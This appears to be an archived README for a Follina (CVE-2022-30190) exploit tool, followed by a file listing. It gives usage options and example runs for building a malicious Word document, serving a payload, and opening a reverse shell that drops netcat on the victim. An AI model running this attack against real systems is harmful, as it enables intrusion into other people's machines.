来源

关联漏洞

描述

Implementation of FOLLINA-CVE-2022-30190

介绍

# FOLLINA-CVE-2022-30190
Implementation of FOLLINA-CVE-2022-30190

---

This repository contains an exploitation tool for the vulnerability `FOLLINA-CVE-2022-30190`

### **Disclaimer**
This tool developed for security testing and research purposes.
by cloning / forking this tool the origin developer withdraw any responsibilities on the actors actions.

---
### **Prerequisites**
1. read about the CVE-2022-30190 from <a href="https://ethical.blue/textz/n/32">here</a>
2. prepare your testing environment (I suggest using Virtual Box + Vagrant)
- Download VirtualBox from <a href="https://www.virtualbox.org/wiki/Downloads">here</a>  
- Download Vagrant form <a href="https://www.vagrantup.com/Downloads">here</a> 
- Read about Vagrant CLI from <a href="https://developer.hashicorp.com/vagrant/docs/cli">here</a>

---
Create a "Follina" MS-MSDT attack with a malicious Microsoft Word document and stage a payload with an HTTP server.
<img src="#">

### **Usage**
```textmate
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]

options:
  -h, --help            show this help message and exit
  --command COMMAND
                        command to run on the target (default: calc)
  --output OUTPUT 
                        output maldoc file (default: ./follina.doc)
  --interface INTERFACE
                        network interface or IP address to host the HTTP server (default: eth0)
  --port PORT           
                        port to serve the HTTP server (default: 8000)
```

---
### **Examples**

Pop `calc.exe`:
```textmate
$ python3 exploit.py   
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
```

Pop `cmd.exe`:
```textmate
$ python3 exploit.py --command "cmd"
```

Get a reverse shell on port 9001. Note, this downloads a netcat binary onto the victim and places it in `C:\Windows\Tasks`. 
It does not clean up the binary. This will trigger antivirus detections unless AV is disabled.

```textmate
$ python3 exploit.py --reverse 9001
```
<img src="#">

文件快照

 [4.0K]  /data/pocs/342507988624788c022b7b8e877f6ed49466086c
├── [4.0K]  bin
│   ├── [ 556]  html.stg.bin
│   └── [ 252]  ps1.stg.bin
├── [4.0K]  doc
│   ├── [1.3K]  [Content_Types].xml
│   ├── [4.0K]  docProps
│   │   ├── [ 703]  app.xml
│   │   └── [ 734]  core.xml
│   ├── [4.0K]  _rels
│   └── [4.0K]  word
│       ├── [3.8K]  document.xml
│       ├── [1.5K]  fontTable.xml
│       ├── [4.0K]  _rels
│       │   ├── [ 975]  documents.xml.rels
│       │   └── [ 949]  document.xml.rels
│       ├── [2.9K]  settings.xml
│       ├── [ 29K]  styles.xml
│       ├── [4.0K]  theme
│       │   └── [6.6K]  theme1.xml
│       └── [ 802]  webSettings.xml
├── [2.8K]  exploit.py
├── [3.2K]  handlers.py
├── [1.1K]  LICENSE
├── [2.0K]  README.md
└── [ 168]  requirements.txt

7 directories, 18 files

备注